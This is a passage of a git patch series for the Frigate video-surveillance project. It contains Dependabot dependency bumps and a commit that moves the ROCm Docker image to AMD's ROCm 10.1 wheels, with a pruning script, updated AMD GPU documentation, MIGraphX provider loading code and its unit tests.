From 303c6663c58e39f1462cd9e164f74340d55782cf Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 18 Oct 2026 12:07:03 -0500 Subject: [PATCH 01/13] Bump py-vapid from 1.9.4 to 1.9.6 in /docker/main in the crypto group (#24699) Bumps the crypto group in /docker/main with 1 update: [py-vapid](https://github.com/mozilla-services/vapid). Updates `py-vapid` from 1.9.4 to 1.9.6 - [Release notes](https://github.com/mozilla-services/vapid/releases) - [Commits](https://github.com/mozilla-services/vapid/commits) --- updated-dependencies: - dependency-name: py-vapid dependency-version: 1.9.6 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: crypto ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- docker/main/requirements-wheels.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/main/requirements-wheels.txt b/docker/main/requirements-wheels.txt index 23645e382b..a23d04edd8 100644 --- a/docker/main/requirements-wheels.txt +++ b/docker/main/requirements-wheels.txt @@ -51,7 +51,7 @@ google-genai == 2.29.* ollama == 0.6.* openai == 3.26.* # push notifications -py-vapid == 1.9.4 +py-vapid == 1.9.6 pywebpush == 2.5.* # alpr pyclipper == 1.4.* From ecffe9ce258a47bbd0a810c67104c6020f78bef3 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 18 Oct 2026 12:11:27 -0500 Subject: [PATCH 02/13] Update scikit-build requirement in /docker/main (#24627) Updates the requirements on [scikit-build](https://github.com/scikit-build/scikit-build) to permit the latest version. - [Release notes](https://github.com/scikit-build/scikit-build/releases) - [Changelog](https://github.com/scikit-build/scikit-build/blob/main/CHANGES.md) - [Commits](https://github.com/scikit-build/scikit-build/compare/0.18.0...0.19.1) --- updated-dependencies: - dependency-name: scikit-build dependency-version: 0.19.1 dependency-type: direct:production ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- docker/main/requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/main/requirements.txt b/docker/main/requirements.txt index f1ba7d9ada..c8a71e4fd7 100644 --- a/docker/main/requirements.txt +++ b/docker/main/requirements.txt @@ -1 +1 @@ -scikit-build == 0.18.* +scikit-build == 0.19.* From 893542f4ca3c57d4bb5822b27a36cb2dbf1d6822 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 18 Oct 2026 12:12:38 -0500 Subject: [PATCH 03/13] Update openvino requirement in /docker/main (#24628) Updates the requirements on [openvino](https://github.com/openvinotoolkit/openvino) to permit the latest version. - [Release notes](https://github.com/openvinotoolkit/openvino/releases) - [Changelog](https://github.com/openvinotoolkit/openvino/blob/master/docs/RELEASE.MD) - [Commits](https://github.com/openvinotoolkit/openvino/commits/2026.4.1) --- updated-dependencies: - dependency-name: openvino dependency-version: 2026.4.1 dependency-type: direct:production ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- docker/main/requirements-ov.txt | 2 +- docker/main/requirements-wheels.txt | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docker/main/requirements-ov.txt b/docker/main/requirements-ov.txt index 2df7890dd5..cff7b58d53 100644 --- a/docker/main/requirements-ov.txt +++ b/docker/main/requirements-ov.txt @@ -1,2 +1,2 @@ numpy -openvino >= 2026.2.0 +openvino >= 2026.4.1 diff --git a/docker/main/requirements-wheels.txt b/docker/main/requirements-wheels.txt index a23d04edd8..a9b658ed3d 100644 --- a/docker/main/requirements-wheels.txt +++ b/docker/main/requirements-wheels.txt @@ -42,7 +42,7 @@ opencv-python-headless == 4.11.0.* opencv-contrib-python == 4.11.0.* scipy == 1.17.* # OpenVino & ONNX -openvino == 2025.4.* +openvino == 2026.4.* onnxruntime == 1.30.* # Embeddings transformers == 5.19.* From d7bb780ff884eda233dbf134d41609a1870503ba Mon Sep 17 00:00:00 2001 From: Nicolas Mowen Date: Sun, 18 Oct 2026 11:13:32 -0600 Subject: [PATCH 04/13] Upgrade to ROCm 10.1 (#24708) * Update to ROCm 10.1 * Update docs for new setup --- docker/rocm/Dockerfile | 61 +----- docker/rocm/prune_rocm.sh | 63 ++++++ docker/rocm/requirements-wheels-rocm.txt | 20 +- docker/rocm/rocm.hcl | 11 - docs/docs/configuration/object_detectors.md | 44 ++-- docs/docs/frigate/hardware.md | 4 +- frigate/detectors/detection_runners.py | 82 +++++++- frigate/test/test_runner_devices.py | 216 +++++++++++++++++++- frigate/util/model.py | 12 +- 9 files changed, 410 insertions(+), 103 deletions(-) create mode 100755 docker/rocm/prune_rocm.sh diff --git a/docker/rocm/Dockerfile b/docker/rocm/Dockerfile index 653ed1e4ee..da44cf25a0 100644 --- a/docker/rocm/Dockerfile +++ b/docker/rocm/Dockerfile @@ -2,32 +2,9 @@ # https://askubuntu.com/questions/972516/debian-frontend-environment-variable ARG DEBIAN_FRONTEND=noninteractive -ARG ROCM=1 ARG HSA_OVERRIDE_GFX_VERSION ARG HSA_OVERRIDE -####################################################################### -FROM wget AS rocm - -ARG ROCM - -RUN apt update -qq && \ - apt install -y wget gpg && \ - wget -O rocm.deb https://repo.radeon.com/amdgpu-install/7.2.3/ubuntu/jammy/amdgpu-install_7.2.3.70203-1_all.deb && \ - apt install -y ./rocm.deb && \ - apt update && \ - apt install -qq -y rocm - -RUN mkdir -p /opt/rocm-dist/opt/rocm-$ROCM/lib -RUN cd /opt/rocm-$ROCM/lib && \ - cp -dpr libMIOpen*.so* libamd*.so* libhip*.so* libhsa*.so* libmigraphx*.so* librocm*.so* librocblas*.so* libroctracer*.so* librocsolver*.so* librocfft*.so* librocprofiler*.so* libroctx*.so* librocroller.so* /opt/rocm-dist/opt/rocm-$ROCM/lib/ && \ - mkdir -p /opt/rocm-dist/opt/rocm-$ROCM/lib/migraphx/lib && \ - cp -dpr migraphx/lib/* /opt/rocm-dist/opt/rocm-$ROCM/lib/migraphx/lib -RUN cd /opt/rocm-dist/opt/ && ln -s rocm-$ROCM rocm - -RUN mkdir -p /opt/rocm-dist/etc/ld.so.conf.d/ -RUN echo /opt/rocm/lib|tee /opt/rocm-dist/etc/ld.so.conf.d/rocm.conf - ####################################################################### FROM deps AS deps-prelim @@ -42,51 +19,35 @@ RUN echo "deb http://deb.debian.org/debian trixie main" > /etc/apt/sources.list. rm -f /etc/apt/sources.list.d/trixie.list && \ rm -rf /var/lib/apt/lists/* -WORKDIR /opt/frigate -COPY --from=rootfs / / - RUN wget -q https://bootstrap.pypa.io/get-pip.py -O get-pip.py \ && sed -i 's/args.append("setuptools")/args.append("setuptools==77.0.3")/' get-pip.py \ && python3 get-pip.py "pip" --break-system-packages RUN python3 -m pip config set global.break-system-packages true +# ROCm installs from AMD's wheels ahead of Frigate's code so code changes +# reuse this layer, and is pruned in the same layer so the removed files never +# reach the image. /opt/rocm links to the runtime for rocminfo and HIP headers. COPY docker/rocm/requirements-wheels-rocm.txt /requirements.txt -RUN pip3 uninstall -y onnxruntime \ - && pip3 install -r /requirements.txt +RUN --mount=type=bind,source=docker/rocm/prune_rocm.sh,target=/deps/prune_rocm.sh \ + pip3 uninstall -y onnxruntime \ + && pip3 install --no-cache-dir -r /requirements.txt \ + && ROCM_SDK_CORE="$(python3 -c 'import _rocm_sdk_core, os; print(os.path.dirname(_rocm_sdk_core.__file__))')" \ + && /deps/prune_rocm.sh "$(dirname "${ROCM_SDK_CORE}")" \ + && ln -s "${ROCM_SDK_CORE}" /opt/rocm -####################################################################### -FROM scratch AS rocm-dist - -ARG ROCM - -# Copy HIP headers required for MIOpen JIT (BuildHip) / HIPRTC at runtime -COPY --from=rocm /opt/rocm-${ROCM}/include/ /opt/rocm-${ROCM}/include/ -COPY --from=rocm /opt/rocm-$ROCM/bin/rocminfo /opt/rocm-$ROCM/bin/migraphx-driver /opt/rocm-$ROCM/bin/ -# Copy MIOpen database files for gfx10xx, gfx11xx, and gfx12xx only (RDNA2/RDNA3/RDNA4) -COPY --from=rocm /opt/rocm-$ROCM/share/miopen/db/*gfx10* /opt/rocm-$ROCM/share/miopen/db/ -COPY --from=rocm /opt/rocm-$ROCM/share/miopen/db/*gfx11* /opt/rocm-$ROCM/share/miopen/db/ -COPY --from=rocm /opt/rocm-$ROCM/share/miopen/db/*gfx12* /opt/rocm-$ROCM/share/miopen/db/ -# Copy rocBLAS library files for gfx10xx, gfx11xx, and gfx12xx only -COPY --from=rocm /opt/rocm-$ROCM/lib/rocblas/library/*gfx10* /opt/rocm-$ROCM/lib/rocblas/library/ -COPY --from=rocm /opt/rocm-$ROCM/lib/rocblas/library/*gfx11* /opt/rocm-$ROCM/lib/rocblas/library/ -COPY --from=rocm /opt/rocm-$ROCM/lib/rocblas/library/*gfx12* /opt/rocm-$ROCM/lib/rocblas/library/ -COPY --from=rocm /opt/rocm-dist/ / +WORKDIR /opt/frigate +COPY --from=rootfs / / ####################################################################### FROM deps-prelim AS rocm-prelim-hsa-override0 ENV MIGRAPHX_DISABLE_MIOPEN_FUSION=1 ENV MIGRAPHX_DISABLE_SCHEDULE_PASS=1 ENV MIGRAPHX_DISABLE_REDUCE_FUSION=1 -ENV MIGRAPHX_ENABLE_HIPRTC_WORKAROUNDS=1 ENV MIOPEN_CUSTOM_CACHE_DIR=/config/model_cache/migraphx ENV MIOPEN_USER_DB_PATH=/config/model_cache/migraphx ENV AMD_COMGR_CACHE=1 ENV AMD_COMGR_CACHE_DIR=/config/model_cache/migraphx -COPY --from=rocm-dist / / - -RUN ldconfig - ####################################################################### FROM rocm-prelim-hsa-override0 as rocm-prelim-hsa-override1 diff --git a/docker/rocm/prune_rocm.sh b/docker/rocm/prune_rocm.sh new file mode 100755 index 0000000000..af08c41bc9 --- /dev/null +++ b/docker/rocm/prune_rocm.sh @@ -0,0 +1,63 @@ +#!/bin/bash + +# Remove the parts of AMD's ROCm wheels that MIGraphX inference never loads: +# compilers, debuggers, profilers, management tools, and the math libraries +# (sparse, solver, FFT, random, RCCL, image processing) outside MIGraphX's +# dependencies. Runs in the same layer as the install so the files never +# reach the image. + +set -euo pipefail + +site_packages="$1" +core="${site_packages}/_rocm_sdk_core" +libraries="${site_packages}/_rocm_sdk_libraries" + +# rocminfo stays for checking that the GPU is visible in the container +find "${core}/bin" -mindepth 1 -maxdepth 1 \ + ! -name rocminfo ! -name rocm_agent_enumerator -exec rm -rf {} + + +# hiprtc compiles MIGraphX's kernels through comgr, which needs libLLVM, +# libclang-cpp, the clang resource headers, and the amdgcn device libraries +rm -rf "${core}/lib/llvm/bin" "${core}/lib/llvm/include" +find "${core}/lib/llvm/lib" -mindepth 1 -maxdepth 1 \ + ! -name 'libLLVM.so*' ! -name 'libclang-cpp.so*' ! -name clang \ + -exec rm -rf {} + +rm -rf "${core}"/lib/llvm/lib/clang/*/lib + +rm -rf \ + "${core}/lib/host-math" \ + "${core}"/lib/python3* \ + "${core}/lib/rocprofiler-sdk" \ + "${core}"/lib/librocprofiler-sdk*.so* \ + "${core}"/lib/librocprof-trace-decoder.so* \ + "${core}"/lib/librocm-dbgapi.so* \ + "${core}"/lib/librocm-debug-agent.so* \ + "${core}"/lib/libamd_smi*.so* \ + "${core}"/lib/libgoamdsmi_shim64.so* \ + "${core}"/lib/librocdecode.so* \ + "${core}"/lib/librocjpeg.so* \ + "${core}"/lib/librocdxg.so* \ + "${core}"/lib/librocjitsu_*.so* \ + "${core}"/lib/libhsa_hotswap_rocjitsu.so* \ + "${core}"/lib/*.a + +rm -rf \ + "${libraries}"/lib/librpp.so* \ + "${libraries}"/lib/librocsparse.so* \ + "${libraries}"/lib/libhipsparse.so* \ + "${libraries}"/lib/libhipsparselt.so* \ + "${libraries}/lib/rocsparse" \ + "${libraries}"/lib/librocsolver.so* \ + "${libraries}"/lib/libhipsolver.so* \ + "${libraries}"/lib/libhipblas.so* \ + "${libraries}"/lib/librocrand.so* \ + "${libraries}"/lib/libhiprand.so* \ + "${libraries}"/lib/librocfft.so* \ + "${libraries}"/lib/libhipfft.so* \ + "${libraries}"/lib/libhipfftw.so* \ + "${libraries}"/lib/librccl.so* \ + "${libraries}"/.kpack/sparse_lib_*.kpack \ + "${libraries}"/.kpack/solver_lib_*.kpack \ + "${libraries}"/.kpack/rand_lib_*.kpack \ + "${libraries}"/.kpack/fft_lib_*.kpack \ + "${libraries}"/.kpack/rccl_lib_*.kpack diff --git a/docker/rocm/requirements-wheels-rocm.txt b/docker/rocm/requirements-wheels-rocm.txt index f60b550c3f..be444b97ac 100644 --- a/docker/rocm/requirements-wheels-rocm.txt +++ b/docker/rocm/requirements-wheels-rocm.txt @@ -1 +1,19 @@ -onnxruntime-migraphx @ https://github.com/NickM-27/frigate-onnxruntime-rocm/releases/download/v7.2.3-1/onnxruntime_migraphx-1.24.4-cp311-cp311-linux_x86_64.whl \ No newline at end of file +# ROCm 10.1.0, MIGraphX, and its ONNX Runtime plugin provider from AMD's wheels. +onnxruntime == 1.29.* +onnxruntime-ep-migraphx @ https://stable.repo.amd.com/rocm/onnxruntime/whl-next/onnxruntime-ep-migraphx/onnxruntime_ep_migraphx-1.0.0%2Brocm10.1.0-cp311-cp311-manylinux_2_28_x86_64.whl +migraphx-libs @ https://stable.repo.amd.com/rocm/migraphx/whl-next/migraphx-libs/migraphx_libs-2.18.0%2Brocm10.1.0-py3-none-manylinux_2_28_x86_64.whl +rocm-sdk-core @ https://stable.repo.amd.com/rocm/whl-next/rocm-sdk-core/rocm_sdk_core-10.1.0-py3-none-linux_x86_64.whl +rocm-sdk-libraries @ https://stable.repo.amd.com/rocm/whl-next/rocm-sdk-libraries/rocm_sdk_libraries-10.1.0-py3-none-linux_x86_64.whl +# Kernels for each supported GPU target. MIGraphX has no gfx1031-gfx1036 kernels, +# so those GPUs run as gfx1030 with HSA_OVERRIDE_GFX_VERSION=10.3.0 +rocm-sdk-device-gfx1030 @ https://stable.repo.amd.com/rocm/whl-next/rocm-sdk-device-gfx1030/rocm_sdk_device_gfx1030-10.1.0-py3-none-linux_x86_64.whl +rocm-sdk-device-gfx1100 @ https://stable.repo.amd.com/rocm/whl-next/rocm-sdk-device-gfx1100/rocm_sdk_device_gfx1100-10.1.0-py3-none-linux_x86_64.whl +rocm-sdk-device-gfx1101 @ https://stable.repo.amd.com/rocm/whl-next/rocm-sdk-device-gfx1101/rocm_sdk_device_gfx1101-10.1.0-py3-none-linux_x86_64.whl +rocm-sdk-device-gfx1102 @ https://stable.repo.amd.com/rocm/whl-next/rocm-sdk-device-gfx1102/rocm_sdk_device_gfx1102-10.1.0-py3-none-linux_x86_64.whl +rocm-sdk-device-gfx1103 @ https://stable.repo.amd.com/rocm/whl-next/rocm-sdk-device-gfx1103/rocm_sdk_device_gfx1103-10.1.0-py3-none-linux_x86_64.whl +rocm-sdk-device-gfx1150 @ https://stable.repo.amd.com/rocm/whl-next/rocm-sdk-device-gfx1150/rocm_sdk_device_gfx1150-10.1.0-py3-none-linux_x86_64.whl +rocm-sdk-device-gfx1151 @ https://stable.repo.amd.com/rocm/whl-next/rocm-sdk-device-gfx1151/rocm_sdk_device_gfx1151-10.1.0-py3-none-linux_x86_64.whl +rocm-sdk-device-gfx1152 @ https://stable.repo.amd.com/rocm/whl-next/rocm-sdk-device-gfx1152/rocm_sdk_device_gfx1152-10.1.0-py3-none-linux_x86_64.whl +rocm-sdk-device-gfx1153 @ https://stable.repo.amd.com/rocm/whl-next/rocm-sdk-device-gfx1153/rocm_sdk_device_gfx1153-10.1.0-py3-none-linux_x86_64.whl +rocm-sdk-device-gfx1200 @ https://stable.repo.amd.com/rocm/whl-next/rocm-sdk-device-gfx1200/rocm_sdk_device_gfx1200-10.1.0-py3-none-linux_x86_64.whl +rocm-sdk-device-gfx1201 @ https://stable.repo.amd.com/rocm/whl-next/rocm-sdk-device-gfx1201/rocm_sdk_device_gfx1201-10.1.0-py3-none-linux_x86_64.whl diff --git a/docker/rocm/rocm.hcl b/docker/rocm/rocm.hcl index 224118818e..c383d745f2 100644 --- a/docker/rocm/rocm.hcl +++ b/docker/rocm/rocm.hcl @@ -1,6 +1,3 @@ -variable "ROCM" { - default = "7.2.3" -} variable "HSA_OVERRIDE_GFX_VERSION" { default = "" } @@ -8,12 +5,6 @@ variable "HSA_OVERRIDE" { default = "1" } -target wget { - dockerfile = "docker/main/Dockerfile" - platforms = ["linux/amd64"] - target = "wget" -} - target deps { dockerfile = "docker/main/Dockerfile" platforms = ["linux/amd64"] @@ -30,12 +21,10 @@ target rocm { dockerfile = "docker/rocm/Dockerfile" contexts = { deps = "target:deps", - wget = "target:wget", rootfs = "target:rootfs" } platforms = ["linux/amd64"] args = { - ROCM = ROCM, HSA_OVERRIDE_GFX_VERSION = HSA_OVERRIDE_GFX_VERSION, HSA_OVERRIDE = HSA_OVERRIDE } diff --git a/docs/docs/configuration/object_detectors.md b/docs/docs/configuration/object_detectors.md index 9cad47ed23..1ba6fd0003 100644 --- a/docs/docs/configuration/object_detectors.md +++ b/docs/docs/configuration/object_detectors.md @@ -394,6 +394,22 @@ Note that the labelmap uses a subset of the complete COCO label set that has onl Support for AMD GPUs is provided using the [ONNX detector](#onnx). In order to utilize the AMD GPU for object detection use a frigate docker image with `-rocm` suffix, for example `ghcr.io/blakeblackshear/frigate:stable-rocm`. +### Supported GPUs {#supported-gpus-rocm} + +The `-rocm` image includes ROCm support for these GPU chipsets, which work without any chipset override: + +| Chipset | Example GPUs | +| -------------------------------------------- | ------------------------------------------------------------------------ | +| gfx1030 (RDNA2) | Radeon RX 6800 / 6800 XT / 6900 XT / 6950 XT, Radeon PRO W6800 | +| gfx1100, gfx1101, gfx1102 (RDNA3) | Radeon RX 7900 / 7800 / 7700 / 7600 series, Radeon PRO W7000 series | +| gfx1103 (RDNA3 integrated) | Radeon 780M / 760M in Ryzen 7040, 8040, 8000G, and 200 series processors | +| gfx1150, gfx1151, gfx1152, gfx1153 (RDNA3.5) | Integrated GPUs in Ryzen AI 300 / 400 series and Ryzen AI Max processors | +| gfx1200, gfx1201 (RDNA4) | Radeon RX 9060 / 9070 series, Radeon AI PRO R9700 | + +Other RDNA2 GPUs (gfx1031 through gfx1036), such as the Radeon RX 6700 / 6600 / 6500 series and the Radeon 680M / 660M integrated GPUs, run on the gfx1030 support by [overriding the chipset](#docker-settings-for-overriding-the-gpu-chipset) to `10.3.0`. + +Older GPUs, including RDNA1 (Radeon RX 5000 series) and Vega based dedicated and integrated GPUs, are not supported. + ### Docker settings for GPU access ROCm needs access to the `/dev/kfd` and `/dev/dri` devices. When docker or frigate is not run under root then also `video` (and possibly `render` and `ssl/_ssl`) groups should be added. @@ -420,19 +436,10 @@ For reference on recommended settings see [running ROCm/pytorch in Docker](https ### Docker settings for overriding the GPU chipset -Your GPU might work just fine without any special configuration but in many cases they need manual settings. AMD/ROCm software stack comes with a limited set of GPU drivers and for newer or missing models you will have to override the chipset version to an older/generic version to get things working. - -Also AMD/ROCm does not "officially" support integrated GPUs. It still does work with most of them just fine but requires special settings. One has to configure the `HSA_OVERRIDE_GFX_VERSION` environment variable. See the [ROCm bug report](https://github.com/ROCm/ROCm/issues/1743) for context and examples. - -For the rocm frigate build there is some automatic detection: - -- gfx1031 -> 10.3.0 -- gfx1103 -> 11.0.0 - -If you have something else you might need to override the `HSA_OVERRIDE_GFX_VERSION` at Docker launch. Suppose the version you want is `10.0.0`, then you should configure it from command line as: +A GPU whose chipset isn't in the [supported GPUs](#supported-gpus-rocm) list can run on the support for a closely related chipset by setting the `HSA_OVERRIDE_GFX_VERSION` environment variable. RDNA2 GPUs other than gfx1030 (gfx1031 through gfx1036) need this, using `10.3.0`: ```bash -$ docker run -e HSA_OVERRIDE_GFX_VERSION=10.0.0 \ +$ docker run -e HSA_OVERRIDE_GFX_VERSION=10.3.0 \ ... ``` @@ -443,16 +450,17 @@ services: frigate: ... environment: - HSA_OVERRIDE_GFX_VERSION: "10.0.0" + HSA_OVERRIDE_GFX_VERSION: "10.3.0" ``` -Figuring out what version you need can be complicated as you can't tell the chipset name and driver from the AMD brand name. +GPUs in the supported list don't need an override. An override that was set for the Radeon 780M / 760M (gfx1103) on an earlier version of Frigate is no longer needed and can be removed. -- first make sure that rocm environment is running properly by running `/opt/rocm/bin/rocminfo` in the frigate container -- it should list both the CPU and the GPU with their properties -- find the chipset version you have (gfxNNN) from the output of the `rocminfo` (see below) -- use a search engine to query what `HSA_OVERRIDE_GFX_VERSION` you need for the given gfx name ("gfxNNN ROCm HSA_OVERRIDE_GFX_VERSION") -- override the `HSA_OVERRIDE_GFX_VERSION` with relevant value -- if things are not working check the frigate docker logs +You can't tell the chipset from the AMD brand name, so check it in the container: + +- first make sure that the ROCm environment is running properly by running `/opt/rocm/bin/rocminfo` in the Frigate container. It should list both the CPU and the GPU with their properties +- find the chipset version you have (gfxNNN) from the output of `rocminfo` (see below) +- if the chipset isn't in the supported list, set `HSA_OVERRIDE_GFX_VERSION` to the closest supported chipset, written as major.minor.stepping (for example gfx1030 is `10.3.0`) +- if things are not working check the Frigate docker logs #### Figuring out if AMD/ROCm is working and found your GPU diff --git a/docs/docs/frigate/hardware.md b/docs/docs/frigate/hardware.md index 6a506953d2..794e9703e8 100644 --- a/docs/docs/frigate/hardware.md +++ b/docs/docs/frigate/hardware.md @@ -72,7 +72,7 @@ Frigate supports multiple different detectors that work on different types of ha **AMD** -- [ROCm](#rocm---amd-gpu): ROCm can run on AMD Discrete GPUs to provide efficient object detection +- [ROCm](#rocm---amd-gpu): ROCm can run on AMD discrete and recent integrated GPUs to provide efficient object detection - [Supports limited model architectures](../../configuration/object_detectors#amdrocm-gpu-detector) - Runs best on discrete AMD GPUs - [XDNA2 (Ryzen AI)](#amd-xdna2): AMD XDNA2 NPU (sub-watt power AI/ML processor separate to the GPU) inside Strix and other "AI" branded AMD platforms @@ -240,7 +240,7 @@ Apple Silicon can not run within a container, so a ZMQ proxy is utilized to comm ### ROCm - AMD GPU -With the [ROCm](../configuration/object_detectors.md#amdrocm-gpu-detector) detector Frigate can take advantage of many discrete AMD GPUs. +With the [ROCm](../configuration/object_detectors.md#amdrocm-gpu-detector) detector Frigate can take advantage of many AMD discrete and integrated GPUs, see the [supported GPUs](../configuration/object_detectors.md#supported-gpus-rocm). | Name | YOLOv9 Inference Time | YOLO-NAS Inference Time | RF-DETR Inference Time | | -------------- | --------------------------- | ------------------------- | ---------------------- | diff --git a/frigate/detectors/detection_runners.py b/frigate/detectors/detection_runners.py index 7277269731..80c2fc57f9 100644 --- a/frigate/detectors/detection_runners.py +++ b/frigate/detectors/detection_runners.py @@ -10,6 +10,7 @@ from typing import Any import numpy as np import onnxruntime as ort +from frigate.const import MODEL_CACHE_DIR from frigate.util.model import get_ort_providers from frigate.util.rknn_converter import auto_convert_model, is_rknn_compatible @@ -55,6 +56,9 @@ _PROVIDER_LABELS = { LIGHTER_ANE_EP_NAME = "LighterANE" LIGHTER_ANE_LIBRARY = "/usr/lib/lighter/liblighter_ane_ep.so" +# AMD's MIGraphX plugin execution provider, installed in the ROCm image +MIGRAPHX_EP_NAME = "MIGraphXExecutionProvider" + def get_lighter_ane_devices() -> list[Any]: """Get the Neural Engine devices lighter's provider offers, registering it once. @@ -83,6 +87,42 @@ def get_lighter_ane_devices() -> list[Any]: return devices +def get_migraphx_devices() -> list[Any]: + """Get the AMD GPU devices the MIGraphX provider offers, registering it once. + + Returns: + The provider's ONNX Runtime devices, or an empty list outside the ROCm + image or without an AMD GPU + """ + # Import here to avoid circular imports + from frigate.detectors.hardware import detect_amd_gpu + + try: + import onnxruntime_ep_migraphx + except ImportError: + return [] + + # ONNX Runtime finds the provider's GPUs in the same /sys/class/drm entries, + # so an AMD GPU here means the provider lists it once registered + if detect_amd_gpu() is None: + return [] + + devices = [d for d in ort.get_ep_devices() if d.ep_name == MIGRAPHX_EP_NAME] + + if not devices: + try: + ort.register_execution_provider_library( + MIGRAPHX_EP_NAME, onnxruntime_ep_migraphx.get_library_path() + ) + except Exception as e: + logger.warning("Failed to load the MIGraphX provider: %s", e) + return [] + + devices = [d for d in ort.get_ep_devices() if d.ep_name == MIGRAPHX_EP_NAME] + + return devices + + def is_arm64_platform() -> bool: """Check if we're running on an ARM platform.""" machine = platform.machine().lower() @@ -756,12 +796,41 @@ def get_optimized_runner( ONNXModelRunner(session, model_type=model_type), ) + if ( + device != "CPU" + and not ONNXModelRunner.is_migraphx_complex_model(model_type) + and (migraphx_devices := get_migraphx_devices()) + ): + migraphx_cache_dir = os.path.join(MODEL_CACHE_DIR, "migraphx/ort") + os.makedirs(migraphx_cache_dir, exist_ok=True) + sess_options = get_ort_session_options(model_type) or ort.SessionOptions() + # only the first AMD GPU is used, matching detect_amd_gpu + sess_options.add_provider_for_devices( + migraphx_devices[:1], {"cache_dir": migraphx_cache_dir} + ) + + try: + session = ort.InferenceSession(model_path, sess_options=sess_options) + except Exception as e: + logger.warning( + "Failed to load %s with MIGraphX, using the default providers: %s", + model_path, + e, + ) + else: + return _record_runner( + model_path, + model_type, + ONNXModelRunner(session, model_type=model_type), + ) + providers, options = get_ort_providers(device == "CPU", device, **kwargs) if providers[0] == "CPUExecutionProvider": # In the default image, ONNXRuntime is used so we will only get CPUExecutionProvider - # In other images we will get CUDA / ROCm which are preferred over OpenVINO - # There is currently no way to prioritize OpenVINO over CUDA / ROCm in these images + # In other images we will get CUDA which is preferred over OpenVINO, while + # MIGraphX in the ROCm image is already handled above + # There is currently no way to prioritize OpenVINO over CUDA in these images if device != "CPU" and is_openvino_gpu_npu_available(): return _record_runner( model_path, @@ -790,15 +859,6 @@ def get_optimized_runner( ), ) - if ( - providers - and providers[0] == "MIGraphXExecutionProvider" - and ONNXModelRunner.is_migraphx_complex_model(model_type) - ): - # Don't use MIGraphX for models that are not supported - providers.pop(0) - options.pop(0) - return _record_runner( model_path, model_type, diff --git a/frigate/test/test_runner_devices.py b/frigate/test/test_runner_devices.py index ddba15e689..aaee9f7ad5 100644 --- a/frigate/test/test_runner_devices.py +++ b/frigate/test/test_runner_devices.py @@ -1,12 +1,13 @@ """Tests for the device each model runner reports after loading.""" import os +import sys import tempfile import threading import unittest from unittest.mock import MagicMock, patch -from frigate.detectors import detection_runners +from frigate.detectors import detection_runners, hardware from frigate.detectors.detection_runners import ( CudaGraphRunner, ONNXModelRunner, @@ -17,6 +18,7 @@ from frigate.detectors.detection_runners import ( record_loaded_device, snapshot_loaded_devices, ) +from frigate.util import model as model_util class TestRunnerDeviceName(unittest.TestCase): @@ -317,3 +319,215 @@ class TestLighterANE(unittest.TestCase): get_optimized_runner("/models/arcface.onnx", "CPU", "arcface") ane.assert_not_called() + + +class TestMIGraphX(unittest.TestCase): + """AMD's MIGraphX plugin provider, selected through its devices in the ROCm image.""" + + def setUp(self): + loaded_devices.clear() + self.root = tempfile.TemporaryDirectory() + self.addCleanup(self.root.cleanup) + + for patcher in ( + patch.object(hardware, "detect_amd_gpu", return_value=MagicMock()), + patch.object(detection_runners, "MODEL_CACHE_DIR", self.root.name), + patch.object(detection_runners, "is_rknn_compatible", return_value=False), + patch.object(detection_runners, "get_lighter_ane_devices", return_value=[]), + ): + patcher.start() + self.addCleanup(patcher.stop) + + self.plugin = MagicMock() + self.plugin.get_library_path.return_value = "/site/libmigraphx-ep.so" + + def _device(self) -> MagicMock: + device = MagicMock() + device.ep_name = "MIGraphXExecutionProvider" + return device + + def test_no_devices_outside_the_rocm_image(self): + with ( + patch.dict(sys.modules, {"onnxruntime_ep_migraphx": None}), + patch.object( + detection_runners.ort, "register_execution_provider_library" + ) as register, + ): + self.assertEqual(detection_runners.get_migraphx_devices(), []) + self.assertEqual(detection_runners.get_migraphx_devices(), []) + + register.assert_not_called() + + def test_no_devices_without_an_amd_gpu(self): + with ( + patch.dict(sys.modules, {"onnxruntime_ep_migraphx": self.plugin}), + patch.object(hardware, "detect_amd_gpu", return_value=None), + patch.object(detection_runners.ort, "get_ep_devices") as get_ep_devices, + patch.object( + detection_runners.ort, "register_execution_provider_library" + ) as register, + ): + self.assertEqual(detection_runners.get_migraphx_devices(), []) + + get_ep_devices.assert_not_called() + register.assert_not_called() + + def test_the_provider_is_registered_once(self): + device = self._device() + other = MagicMock() + other.ep_name = "CPUExecutionProvider" + + with ( + patch.dict(sys.modules, {"onnxruntime_ep_migraphx": self.plugin}), + patch.object( + detection_runners.ort, + "get_ep_devices", + side_effect=[[other], [other, device], [other, device]], + ), + patch.object( + detection_runners.ort, "register_execution_provider_library" + ) as register, + ): + self.assertEqual(detection_runners.get_migraphx_devices(), [device]) + self.assertEqual(detection_runners.get_migraphx_devices(), [device]) + + register.assert_called_once_with( + "MIGraphXExecutionProvider", "/site/libmigraphx-ep.so" + ) + + def test_a_provider_that_will_not_load_is_skipped(self): + with ( + patch.dict(sys.modules, {"onnxruntime_ep_migraphx": self.plugin}), + patch.object(detection_runners.ort, "get_ep_devices", return_value=[]), + patch.object( + detection_runners.ort, + "register_execution_provider_library", + side_effect=RuntimeError("libamdhip64.so.7: cannot open shared object"), + ), + self.assertLogs(detection_runners.logger, level="WARNING"), + ): + self.assertEqual(detection_runners.get_migraphx_devices(), []) + + def test_the_session_runs_on_the_first_gpu(self): + device = self._device() + session = MagicMock() + session.get_providers.return_value = [ + "MIGraphXExecutionProvider", + "CPUExecutionProvider", + ] + options = MagicMock() + + with ( + patch.object( + detection_runners, + "get_migraphx_devices", + return_value=[device, self._device()], + ), + patch.object( + detection_runners, "get_ort_session_options", return_value=options + ), + patch.object( + detection_runners.ort, "InferenceSession", 